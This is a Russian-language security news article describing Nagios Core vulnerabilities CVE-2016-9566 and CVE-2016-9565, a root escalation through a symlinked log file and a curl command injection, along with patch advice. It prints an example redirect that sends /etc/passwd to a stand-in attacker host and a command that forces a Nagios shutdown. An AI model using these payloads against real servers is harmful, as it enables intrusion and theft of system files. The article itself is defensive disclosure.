- PVSM.RU - https://www.pvsm.ru -

Уязвимость в системе мониторинга Nagios позволяет осуществлять повышение привилегий

Уязвимость в системе мониторинга Nagios позволяет осуществлять повышение привилегий - 1

Исследователь информационной безопасности Дэвид Голунски (Dawid Golunski) обнаружил [1] серьезную уязвимость в популярной системе мониторинга ИТ-инфраструктуры Nagios. Ее эксплуатация позволяет злоумышленнику добиться повышения привилегий в системе.

В чем проблема

Демон Nagios Core версий ниже 4.2.4 осуществляет небезопасные операции при обработке лог-файла. Это может привести к тому, что атакующий сможет повысить свои привилегии с системного пользователя ‘nagios’ в группе ‘nagios’ до root-пользователя. Это ведет к полной компрометации системы, на которой установлен софт для мониторинга инфраструктуры.

Стандартная установка Nagios Core создает лог-директорию со следующими правами:

drwxrwsr-x 5 nagios nagios

Исследователь обнаружил, что демон Nagios при запуске системы сначала открывает лог-файл, а затем сбрасывает root-права:

8148  open("/usr/local/nagios/var/nagios.log",
O_RDWR|O_CREAT|O_APPEND, 0666) = 4
8148  fcntl(4, F_SETFD, FD_CLOEXEC)     = 0
8148  fchown(4, 1001, 1001)             = 0
8148  getegid()                         = 0
8148  setgid(1001)                      = 0
8148  geteuid()                         = 0
[...]

Это значит, что если атакующему удастся получить доступ к учетной записи ‘nagios’ или другой учетной записи из группы ‘nagios’, то он сможет заменить лог-файл симлинком на случайный файл в системе. Таким образом возможно повышение привилегий до root — например, с помощью специально созданного файла /etc/ld.so.preload file.

По умолчанию он будет создан со следующими привилегиями nagios:

-rw-r--r-- 1 nagios nagios 950 Dec 10 11:56 /etc/ld.so.preload

Таким образом права на запись есть у пользователя nagios, но не у членов группы nagios. Однако существует способ получить и права на запись для членов этой группы — для этого злоумышленнику нужно эксплуатировать уязвимость CVE-2016-9565 и ошибку в работе модуля командной строки Nagios (nagios.cmd).

Для того, чтобы новые привилегии вступили в силу, необходимо перезагрузить Nagios — и злоумышленник может также спровоцировать это действие. Для этого через командный интерфейс системы необходимо отправить команду SHUTDOWN_PROGRAM

/usr/bin/printf "[%lu] SHUTDOWN_PROGRAMn" `date +%s` > /usr/local/nagios/var/rw/nagios.cmd

Дэвид Голунски также разработал PoC-эксплоит, позволяющий повысить привилегии в системе до суперпользователя.

CVE-2016-9565

В версии Nagios 4.2.0 была исправлена уязвимость CVE-2008-4796 в компоненте MagpieRSS, позволяющая вставлять произвольные команды в качестве параметров к команде curl. Однако этот фикс остался уязвимым к использованию двойных кавычек — эта новая уязвимость получила номер CVE-2016-9565 и была окончательно исправлена только в версии 4.2.2.

Эксплуатация уязвимости заключается в изменении внутренней переменной $URI в функции _httpsrequest уязвимой компоненты при запросе RSS-ленты локальным сервером Nagios Core. В разных версиях системы RSS лента может подгружаться автоматически при логине. Для проведения атаки, атакующий должен выдать себя за сервер www.nagios.org [2], например, используя техники DNS spoofing или ARP poisoning. Стоит заметить, что эта атака может приобрести огромные масштабы при компрометации этого домена в масштабах больших ISP DNS резолверов. Затем, после успешной компрометации, злоумышленник ждёт запроса RSS ленты и отвечает HTTP 302 Redirect, с полем Location, содержащим параметры для curl. Например, это может выглядеть так:

Location: https://attackers-host/get-data.php -Fpasswd=@/etc/passwd

Таким образом, злоумышленник может исполнить произвольные команды на локальном сервере Nagios, а затем, воспользоваться уязвимостью CVE-2016-9566 для повышения локальных привилегий.

Важно заметить то, что среди параметров для curl упоминается аргумент “-k”, который отключает проверку SSL сертификата, что также облегчает задачу злоумышленника.

Как защититься

Исправления для уязвимостей CVE-2016-9565 и CVE-2016-9566 появились в версиях 4.2.2 и 4.2.4 соответственно, поэтому администраторам серверов Nagios настоятельно рекомендуется обновиться до последней версии Nagios.

Эксперты Positive Technologies также разработали IDS сигнатуру для обнаружения попыток эксплуатации уязвимостей CVE-2008-4796 и CVE-2016-9565, доступную публично на GitHub и Twitter:

#Nagios [3] Core Curl Command Injection / #RCE [4]
CVE-2016-9565
Affected: < 4.2.2#Suricata [5] rules: https://t.co/vkidBDy3cN [6]

— Attack Detection (@AttackDetection) 20 декабря 2016 г. [7]

Автор: Positive Technologies

Источник [8]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/administrirovanie/223421

Ссылки в тексте:

[1] обнаружил: https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html

[2] www.nagios.org: http://www.nagios.org

[3] #Nagios: https://twitter.com/hashtag/Nagios?src=hash

[4] #RCE: https://twitter.com/hashtag/RCE?src=hash

[5] #Suricata: https://twitter.com/hashtag/Suricata?src=hash

[6] https://t.co/vkidBDy3cN: https://t.co/vkidBDy3cN

[7] 20 декабря 2016 г.: https://twitter.com/AttackDetection/status/811198718821232640

[8] Источник: https://habrahabr.ru/post/318050/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best